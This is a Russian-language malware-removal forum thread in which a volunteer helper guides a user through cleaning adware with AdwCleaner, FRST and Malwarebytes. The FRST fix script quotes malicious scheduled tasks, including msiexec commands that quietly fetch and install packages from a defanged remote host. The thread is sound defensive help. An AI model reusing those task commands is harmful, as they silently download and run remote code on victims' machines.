Всплывающая реклама

Printable View

26.07.2019, 10:53
danilkapm

Вложений: 1

Всплывающая реклама

помогите пожалуйста:clapping:
26.07.2019, 10:54
Info_bot

Уважаемый(ая) [B]danilkapm[/B], спасибо за обращение на наш форум!

Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в [URL="https://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

[INFORMATION]Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом [URL="https://virusinfo.info/content.php?r=613-sub_pomogite"]Помогите+[/URL].[/INFORMATION]

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="https://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].
26.07.2019, 10:58
danilkapm

Вложений: 1

вот такая реклама
26.07.2019, 15:14
Sandor

Здравствуйте!

Через Панель управления - Удаление программ - удалите нежелательное ПО:
[quote]
Ace Stream Media 3.1.32
My-top-apps, версия 1.0
rhbhrthgergg
Search the Web (Yahoo)
Smart Application Controller
ZaxarGameBrowser
Кнопка "Яндекс" на панели задач
Менеджер браузеров
Служба автоматического обновления программ
[/quote]

Первую если даже ставили самостоятельно, удалите на время лечения.

Далее:
[LIST][*]Скачайте [B][URL="https://toolslib.net/downloads/viewdownload/1-adwcleaner/"]AdwCleaner (by Malwarebytes)[/URL][/B] и сохраните его на [B]Рабочем столе[/B].[*]Запустите его (необходимо запускать через правую кн. мыши [B]от имени администратора[/B]), нажмите кнопку [B]"Scan"[/B] ([B]"Сканировать"[/B]) и дождитесь окончания сканирования.[*]Когда сканирование будет завершено, отчет будет сохранен в следующем расположении: [B][COLOR="Blue"]C:\AdwCleaner\Logs\AdwCleaner[Sxx].txt[/COLOR][/B] (где x - любая цифра).[*]Прикрепите отчет к своему следующему сообщению.[/LIST]
27.07.2019, 20:30
danilkapm

Вложений: 1

вот эти не удалились
[QUOTE]My-top-apps, версия 1.0
rhbhrthgergg
Smart Application Controller
ZaxarGameBrowser
Кнопка "Яндекс" на панели задач
Менеджер браузеров[/QUOTE]
27.07.2019, 20:42
Sandor

Удалите принудительно через [url=http://www.geekuninstaller.com/geek.zip]Geek Uninstaller[/url]

Отчёт AdwCleaner[C00].txt тоже покажите.

Затем:
Скачайте [URL="http://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/"]Farbar Recovery Scan Tool[/URL] (или с [url=http://www.geekstogo.com/forum/files/file/435-frst-farbar-recovery-scan-tool/]зеркала[/url]) и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с вашей операционной системой. Если вы не уверены, какая версия подойдет для вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на вашей системе.
Когда программа запустится, нажмите Yes для соглашения с предупреждением.

Нажмите кнопку [B]Scan[/B].
После окончания сканирования будут созданы отчеты [B]FRST.txt[/B] и [B]Addition.txt[/B] в той же папке, откуда была запущена программа. Прикрепите отчеты к своему следующему сообщению.
27.07.2019, 21:09
danilkapm

Вложений: 3

вот
28.07.2019, 11:52
Sandor

[List][*] Отключите до перезагрузки антивирус.[*] Выделите следующий код:
[code]Start::
CreateRestorePoint:
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender: Restriction <==== ATTENTION
GroupPolicy: Restriction ? <==== ATTENTION
GroupPolicy\User: Restriction ? <==== ATTENTION
CHR HKU\S-1-5-21-3325979462-1472379405-1154875874-1002\SOFTWARE\Policies\Google: Restriction <==== ATTENTION
Task: {3283A101-CF26-4999-9301-C58DD4A5EF6F} - System32\Tasks\{B7F870CE-A56A-A217-1599-FC3AFC4DE44A} => "msiexec" -package hxxps://juststatic.info/ylalezipyugayf/ziez.yeg -q <==== ATTENTION
Task: {3E53BD3C-4494-4763-BD0C-956E51D2499A} - System32\Tasks\{6C980446-7212-542F-A491-E15D7C41BD05} => "msiexec" /q /package hxxps://juststatic.info/juhh/ldwvbreyvojaqeoox.ayk <==== ATTENTION
Task: {5370F85A-1316-4B5F-B990-62261CCA0281} - System32\Tasks\GoogleCheckService => "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" hxxp://aqua1man.net <==== ATTENTION
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxps://us.search.yahoo.com/yhs/web?hspart=elm&hsimp=yhs-001&type=is_s_18_46_jny_soverj_00_00&param1=1&param2=f%3D1%26b%3DIE%26cc%3Dus%26pa%3Dhodor%26cd%3D2XzuyEtN2Y1L1QzutC0CtC0BtD0Dzy0CyDyBzy0F0D0C0A0DtN0D0TzutN1L2XzuyEtFtBzztFtDtFtCyDyDtN1L1CzutN1L1G1B1V1N2Y1L1Qzu2S1QtA1O1RyDyC1P1QtG1P1TyCtCtGyEtA1S1StGzyyEzytCtGtA1TtAtD1RtDyCyDtDyC1QyC2QtN1M1F1B2Z1V1N2Y1L1Qzu2S1S1PzzyEzy1R1TyCtGyDtD1QyCtGyEyEtDyCtG1TyC1Q1TtGyDtBtAzzzyyBzy1R1T1Ozy1Q2QtN0A0LzuyEtN1B2Z1V1T1S1NzutN1Q2Z1B1P1Rzu%26cr%3D782990347%26a%3Dis_s_18_46_jny_soverj_00_00%26os_ver%3D10.0%26os%3DWindows%2B10%2BEnterprise
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = hxxps://us.search.yahoo.com/yhs/web?hspart=elm&hsimp=yhs-001&type=is_s_18_46_jny_soverj_00_00&param1=1&param2=f%3D1%26b%3DIE%26cc%3Dus%26pa%3Dhodor%26cd%3D2XzuyEtN2Y1L1QzutC0CtC0BtD0Dzy0CyDyBzy0F0D0C0A0DtN0D0TzutN1L2XzuyEtFtBzztFtDtFtCyDyDtN1L1CzutN1L1G1B1V1N2Y1L1Qzu2S1QtA1O1RyDyC1P1QtG1P1TyCtCtGyEtA1S1StGzyyEzytCtGtA1TtAtD1RtDyCyDtDyC1QyC2QtN1M1F1B2Z1V1N2Y1L1Qzu2S1S1PzzyEzy1R1TyCtGyDtD1QyCtGyEyEtDyCtG1TyC1Q1TtGyDtBtAzzzyyBzy1R1T1Ozy1Q2QtN0A0LzuyEtN1B2Z1V1T1S1NzutN1Q2Z1B1P1Rzu%26cr%3D782990347%26a%3Dis_s_18_46_jny_soverj_00_00%26os_ver%3D10.0%26os%3DWindows%2B10%2BEnterprise
SearchScopes: HKLM -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = hxxps://us.search.yahoo.com/yhs/search?hspart=elm&hsimp=yhs-001&type=is_s_18_46_jny_soverj_00_00&param1=1&param2=f%3D4%26b%3DIE%26cc%3Dus%26pa%3Dhodor%26cd%3D2XzuyEtN2Y1L1QzutC0CtC0BtD0Dzy0CyDyBzy0F0D0C0A0DtN0D0TzutN1L2XzuyEtFtBzztFtDtFtCyDyDtN1L1CzutN1L1G1B1V1N2Y1L1Qzu2S1QtA1O1RyDyC1P1QtG1P1TyCtCtGyEtA1S1StGzyyEzytCtGtA1TtAtD1RtDyCyDtDyC1QyC2QtN1M1F1B2Z1V1N2Y1L1Qzu2S1S1PzzyEzy1R1TyCtGyDtD1QyCtGyEyEtDyCtG1TyC1Q1TtGyDtBtAzzzyyBzy1R1T1Ozy1Q2QtN0A0LzuyEtN1B2Z1V1T1S1NzutN1Q2Z1B1P1Rzu%26cr%3D782990347%26a%3Dis_s_18_46_jny_soverj_00_00%26os_ver%3D10.0%26os%3DWindows%2B10%2BEnterprise&p={searchTerms}
SearchScopes: HKLM -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = hxxps://us.search.yahoo.com/yhs/search?hspart=elm&hsimp=yhs-001&type=is_s_18_46_jny_soverj_00_00&param1=1&param2=f%3D4%26b%3DIE%26cc%3Dus%26pa%3Dhodor%26cd%3D2XzuyEtN2Y1L1QzutC0CtC0BtD0Dzy0CyDyBzy0F0D0C0A0DtN0D0TzutN1L2XzuyEtFtBzztFtDtFtCyDyDtN1L1CzutN1L1G1B1V1N2Y1L1Qzu2S1QtA1O1RyDyC1P1QtG1P1TyCtCtGyEtA1S1StGzyyEzytCtGtA1TtAtD1RtDyCyDtDyC1QyC2QtN1M1F1B2Z1V1N2Y1L1Qzu2S1S1PzzyEzy1R1TyCtGyDtD1QyCtGyEyEtDyCtG1TyC1Q1TtGyDtBtAzzzyyBzy1R1T1Ozy1Q2QtN0A0LzuyEtN1B2Z1V1T1S1NzutN1Q2Z1B1P1Rzu%26cr%3D782990347%26a%3Dis_s_18_46_jny_soverj_00_00%26os_ver%3D10.0%26os%3DWindows%2B10%2BEnterprise&p={searchTerms}
SearchScopes: HKLM-x32 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = hxxps://us.search.yahoo.com/yhs/search?hspart=elm&hsimp=yhs-001&type=is_s_18_46_jny_soverj_00_00&param1=1&param2=f%3D4%26b%3DIE%26cc%3Dus%26pa%3Dhodor%26cd%3D2XzuyEtN2Y1L1QzutC0CtC0BtD0Dzy0CyDyBzy0F0D0C0A0DtN0D0TzutN1L2XzuyEtFtBzztFtDtFtCyDyDtN1L1CzutN1L1G1B1V1N2Y1L1Qzu2S1QtA1O1RyDyC1P1QtG1P1TyCtCtGyEtA1S1StGzyyEzytCtGtA1TtAtD1RtDyCyDtDyC1QyC2QtN1M1F1B2Z1V1N2Y1L1Qzu2S1S1PzzyEzy1R1TyCtGyDtD1QyCtGyEyEtDyCtG1TyC1Q1TtGyDtBtAzzzyyBzy1R1T1Ozy1Q2QtN0A0LzuyEtN1B2Z1V1T1S1NzutN1Q2Z1B1P1Rzu%26cr%3D782990347%26a%3Dis_s_18_46_jny_soverj_00_00%26os_ver%3D10.0%26os%3DWindows%2B10%2BEnterprise&p={searchTerms}
SearchScopes: HKLM-x32 -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = hxxps://us.search.yahoo.com/yhs/search?hspart=elm&hsimp=yhs-001&type=is_s_18_46_jny_soverj_00_00&param1=1&param2=f%3D4%26b%3DIE%26cc%3Dus%26pa%3Dhodor%26cd%3D2XzuyEtN2Y1L1QzutC0CtC0BtD0Dzy0CyDyBzy0F0D0C0A0DtN0D0TzutN1L2XzuyEtFtBzztFtDtFtCyDyDtN1L1CzutN1L1G1B1V1N2Y1L1Qzu2S1QtA1O1RyDyC1P1QtG1P1TyCtCtGyEtA1S1StGzyyEzytCtGtA1TtAtD1RtDyCyDtDyC1QyC2QtN1M1F1B2Z1V1N2Y1L1Qzu2S1S1PzzyEzy1R1TyCtGyDtD1QyCtGyEyEtDyCtG1TyC1Q1TtGyDtBtAzzzyyBzy1R1T1Ozy1Q2QtN0A0LzuyEtN1B2Z1V1T1S1NzutN1Q2Z1B1P1Rzu%26cr%3D782990347%26a%3Dis_s_18_46_jny_soverj_00_00%26os_ver%3D10.0%26os%3DWindows%2B10%2BEnterprise&p={searchTerms}
FF user.js: detected! => C:\Users\danil\AppData\Roaming\Mozilla\Firefox\Profiles\nahd6ha2.default\user.js [2019-06-10]
FF Extension: (Домашняя страница Mail.Ru) - C:\Users\danil\AppData\Roaming\Mozilla\Firefox\Profiles\nahd6ha2.default\Extensions\[email protected] [2019-04-24] [UpdateUrl:hxxps://crxmailru.cdnmail.ru/go_ffhp_update.json]
FF Extension: (Поиск Mail.Ru) - C:\Users\danil\AppData\Roaming\Mozilla\Firefox\Profiles\nahd6ha2.default\Extensions\[email protected] [2019-04-24] [UpdateUrl:hxxps://crxmailru.cdnmail.ru/searchff/update.json]
FF Extension: (Визуальные закладки) - C:\Users\danil\AppData\Roaming\Mozilla\Firefox\Profiles\nahd6ha2.default\Extensions\{a38384b3-2d1d-4f36-bc22-0f7ae402bcd7}.xpi [2019-04-24] [UpdateUrl:hxxps://crxmailru.cdnmail.ru/ff_pult/update.json]
ShellIconOverlayIdentifiers: [00asw] -> {472083B0-C522-11CF-8763-00608CC02F24} => -> No File
AlternateDataStreams: C:\ProgramData\TEMP:58A5270D [376]
AlternateDataStreams: C:\Users\danil\Documents\Книги:${3D0CE612-FDEE-43f7-8ACA-957BEC0CCBA0}.Metadata [194]
AlternateDataStreams: C:\Users\Public\AppData:CSM [466]
AlternateDataStreams: C:\Users\Public\Shared Files:VersionCache [472]
EmptyTemp:
Reboot:
End::[/code]
[*] Скопируйте выделенный текст (правой кнопкой - Копировать).[*] Запустите FRST (FRST64) от имени администратора.[*] Нажмите [B]Fix[/B] один раз (!) и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.[/List]
Компьютер будет перезагружен автоматически.
29.07.2019, 10:43
danilkapm

Вложений: 1

готово
29.07.2019, 11:05
Sandor

Что сейчас с рекламой?
29.07.2019, 19:51
danilkapm

реклама не пропала
30.07.2019, 08:56
Sandor

Зайдите в меню Параметры - Система - Уведомления и действия. Отключите всё и проверьте.
01.08.2019, 09:55
danilkapm

все равно есть реклама
01.08.2019, 10:04
Sandor

К сети подключаетесь через роутер? Если да, одно устройство или несколько?

Дополнительно:
Скачайте [url=https://downloads.malwarebytes.com/file/mb3/]Malwarebytes' Anti-Malware[/url]. Установите и запустите.
На вкладке "Проверка" - "Полная проверка" нажмите кнопку "Начать проверку". Дождитесь окончания проверки.
[B][COLOR="Red"]Самостоятельно ничего не удаляйте!!![/COLOR][/B]
Нажмите кнопку "Сохранить результат - Текстовый файл (*.txt)". Имя сохраняемому файлу дайте любое, например, "scan".
Отчёт прикрепите к сообщению.
02.08.2019, 15:07
danilkapm

Вложений: 1

через роутер.

нашел много угроз
02.08.2019, 15:20
Sandor

Повторите сканирование и удалите (поместите в карантин) все, [B]кроме[/B]:

[code]
Раздел реестра:
MachineLearning/Anomalous.100%, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TREE\AAct, Проигнорировано пользователем, [0], [392687],1.0.11824
MachineLearning/Anomalous.100%, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TASKS\{9EE67B30-532C-44FF-9992-AE3540FEA515}, Проигнорировано пользователем, [0], [392687],1.0.11824
MachineLearning/Anomalous.100%, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\PLAIN\{9EE67B30-532C-44FF-9992-AE3540FEA515}, Проигнорировано пользователем, [0], [392687],1.0.11824
Generic.Malware/Suspicious, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TREE\Microsoft\Windows\Active Directory Rights Management Services Client\AD RMS Rights Policy Template Management (Automated), Проигнорировано пользователем, [0], [392686],1.0.11824
Generic.Malware/Suspicious, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TASKS\{7E0ACAA5-25A0-4D9B-A7F3-ABA971E470DD}, Проигнорировано пользователем, [0], [392686],1.0.11824
Generic.Malware/Suspicious, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\LOGON\{7E0ACAA5-25A0-4D9B-A7F3-ABA971E470DD}, Проигнорировано пользователем, [0], [392686],1.0.11824
Generic.Malware/Suspicious, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TREE\Microsoft\Windows\MemoryDiagnostic\ProcessMemoryDiagnosticEvents, Проигнорировано пользователем, [0], [392686],1.0.11824
Generic.Malware/Suspicious, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TASKS\{97C366EA-CF77-4DCD-8F43-0FA59B097EBD}, Проигнорировано пользователем, [0], [392686],1.0.11824
Generic.Malware/Suspicious, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\LOGON\{97C366EA-CF77-4DCD-8F43-0FA59B097EBD}, Проигнорировано пользователем, [0], [392686],1.0.11824

Файл:
MachineLearning/Anomalous.100%, C:\WINDOWS\AACT.EXE, Проигнорировано пользователем, [0], [392687],1.0.11824
MachineLearning/Anomalous.100%, C:\WINDOWS\SYSTEM32\TASKS\AAct, Проигнорировано пользователем, [0], [392687],1.0.11824
MachineLearning/Anomalous.100%, C:\WINDOWS\AACT_TOOLS\AACT.EXE, Проигнорировано пользователем, [0], [392687],1.0.11824
Generic.Malware/Suspicious, C:\WINDOWS\SYSTEM32\TASKS\Microsoft\Windows\Active Directory Rights Management Services Client\AD RMS Rights Policy Template Management (Automated), Проигнорировано пользователем, [0], [392686],1.0.11824
Generic.Malware/Suspicious, C:\WINDOWS\SYSTEM32\TASKS\Microsoft\Windows\MemoryDiagnostic\ProcessMemoryDiagnosticEvents, Проигнорировано пользователем, [0], [392686],1.0.11824
Generic.Malware/Suspicious, C:\USERS\DANIL\APPDATA\LOCAL\COMMS\UNISTOREDB\USSRES00001, Проигнорировано пользователем, [0], [392686],1.0.11824
Generic.Malware/Suspicious, C:\PROGRAMDATA\EPIC\EPICGAMESLAUNCHER\LAUNCHERINSTALLED.EXE, Проигнорировано пользователем, [0], [392686],1.0.11824
Adware.FileTour, C:\USERS\DANIL\DOWNLOADS\THE_SIMS_4_DELUXE_EDITION_L_1409756334_2018 (1).EXE, Проигнорировано пользователем, [461], [590290],1.0.11824
Adware.FileTour, C:\USERS\DANIL\DOWNLOADS\THIEF_SIMULATOR_V_1060.EXE, Проигнорировано пользователем, [461], [614251],1.0.11824
Adware.FileTour, C:\USERS\DANIL\DOWNLOADS\THE_SIMS_4_DELUXE_EDITION_L_1409756334_2018.EXE, Проигнорировано пользователем, [461], [590290],1.0.11824
[/code]
02.08.2019, 16:04
danilkapm

[QUOTE=Sandor;1502993]Повторите сканирование и удалите (поместите в карантин) все, [B]кроме[/B]:

[code]
Раздел реестра:
MachineLearning/Anomalous.100%, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TREE\AAct, Проигнорировано пользователем, [0], [392687],1.0.11824
MachineLearning/Anomalous.100%, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TASKS\{9EE67B30-532C-44FF-9992-AE3540FEA515}, Проигнорировано пользователем, [0], [392687],1.0.11824
MachineLearning/Anomalous.100%, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\PLAIN\{9EE67B30-532C-44FF-9992-AE3540FEA515}, Проигнорировано пользователем, [0], [392687],1.0.11824
Generic.Malware/Suspicious, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TREE\Microsoft\Windows\Active Directory Rights Management Services Client\AD RMS Rights Policy Template Management (Automated), Проигнорировано пользователем, [0], [392686],1.0.11824
Generic.Malware/Suspicious, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TASKS\{7E0ACAA5-25A0-4D9B-A7F3-ABA971E470DD}, Проигнорировано пользователем, [0], [392686],1.0.11824
Generic.Malware/Suspicious, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\LOGON\{7E0ACAA5-25A0-4D9B-A7F3-ABA971E470DD}, Проигнорировано пользователем, [0], [392686],1.0.11824
Generic.Malware/Suspicious, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TREE\Microsoft\Windows\MemoryDiagnostic\ProcessMemoryDiagnosticEvents, Проигнорировано пользователем, [0], [392686],1.0.11824
Generic.Malware/Suspicious, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TASKS\{97C366EA-CF77-4DCD-8F43-0FA59B097EBD}, Проигнорировано пользователем, [0], [392686],1.0.11824
Generic.Malware/Suspicious, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\LOGON\{97C366EA-CF77-4DCD-8F43-0FA59B097EBD}, Проигнорировано пользователем, [0], [392686],1.0.11824

Файл:
MachineLearning/Anomalous.100%, C:\WINDOWS\AACT.EXE, Проигнорировано пользователем, [0], [392687],1.0.11824
MachineLearning/Anomalous.100%, C:\WINDOWS\SYSTEM32\TASKS\AAct, Проигнорировано пользователем, [0], [392687],1.0.11824
MachineLearning/Anomalous.100%, C:\WINDOWS\AACT_TOOLS\AACT.EXE, Проигнорировано пользователем, [0], [392687],1.0.11824
Generic.Malware/Suspicious, C:\WINDOWS\SYSTEM32\TASKS\Microsoft\Windows\Active Directory Rights Management Services Client\AD RMS Rights Policy Template Management (Automated), Проигнорировано пользователем, [0], [392686],1.0.11824
Generic.Malware/Suspicious, C:\WINDOWS\SYSTEM32\TASKS\Microsoft\Windows\MemoryDiagnostic\ProcessMemoryDiagnosticEvents, Проигнорировано пользователем, [0], [392686],1.0.11824
Generic.Malware/Suspicious, C:\USERS\DANIL\APPDATA\LOCAL\COMMS\UNISTOREDB\USSRES00001, Проигнорировано пользователем, [0], [392686],1.0.11824
Generic.Malware/Suspicious, C:\PROGRAMDATA\EPIC\EPICGAMESLAUNCHER\LAUNCHERINSTALLED.EXE, Проигнорировано пользователем, [0], [392686],1.0.11824
Adware.FileTour, C:\USERS\DANIL\DOWNLOADS\THE_SIMS_4_DELUXE_EDITION_L_1409756334_2018 (1).EXE, Проигнорировано пользователем, [461], [590290],1.0.11824
Adware.FileTour, C:\USERS\DANIL\DOWNLOADS\THIEF_SIMULATOR_V_1060.EXE, Проигнорировано пользователем, [461], [614251],1.0.11824
Adware.FileTour, C:\USERS\DANIL\DOWNLOADS\THE_SIMS_4_DELUXE_EDITION_L_1409756334_2018.EXE, Проигнорировано пользователем, [461], [590290],1.0.11824
[/code][/QUOTE]
это как сделать кроме этого?
02.08.2019, 18:39
Sandor

Это значит с указанных снять галочки "Поместить в карантин", на остальных - оставить.
02.08.2019, 23:05
danilkapm

Вложений: 1

готово

реклама всё равно есть
03.08.2019, 16:05
Sandor

Сделайте аппаратный сброс настроек роутера на заводские, введите правильные настройки, смените пароль на [b]вход в настройки роутера[/b] на сложный, очистите куки и кэш браузеров.